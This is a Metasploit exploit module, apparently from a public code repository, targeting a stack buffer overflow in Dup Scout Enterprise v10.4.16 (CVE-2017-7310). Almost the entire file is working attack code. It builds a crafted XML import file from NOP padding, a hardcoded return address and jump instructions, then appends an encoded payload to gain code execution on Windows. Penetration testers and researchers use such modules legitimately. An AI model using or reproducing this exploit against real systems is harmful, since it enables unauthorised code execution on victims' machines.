Alan Foster
70 lines
1.8 KiB
Ruby
70 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow',
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'Description' => %q(
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This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16
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by using the import command option to import a specially crafted xml file.
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),
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Daniel Teixeira'
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],
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'References' =>
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[
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[ 'CVE', '2017-7310' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'DisablePayloadHandler' => true
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x27",
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'StackAdjustment' => -3500
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},
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'Targets' =>
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[
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['Windows Universal', { 'Ret' => 0x651BB77A } ] # JMP ESP [QtGui4.dll]
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],
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'Privileged' => false,
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'DisclosureDate' => '2017-03-29',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
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])
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end
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def exploit
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esp = "\x8d\x44\x24\x14" #LEA EAX, [ESP+14h]
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jmp = "\xff\xe0" # JMP EAX
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buf = "<?xml ?><a name='"
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buf << make_nops(1560)
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buf << [target.ret].pack('V')
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buf << make_nops(16)
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buf << esp
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buf << jmp
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buf << make_nops(14)
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buf << payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(buf)
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end
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end
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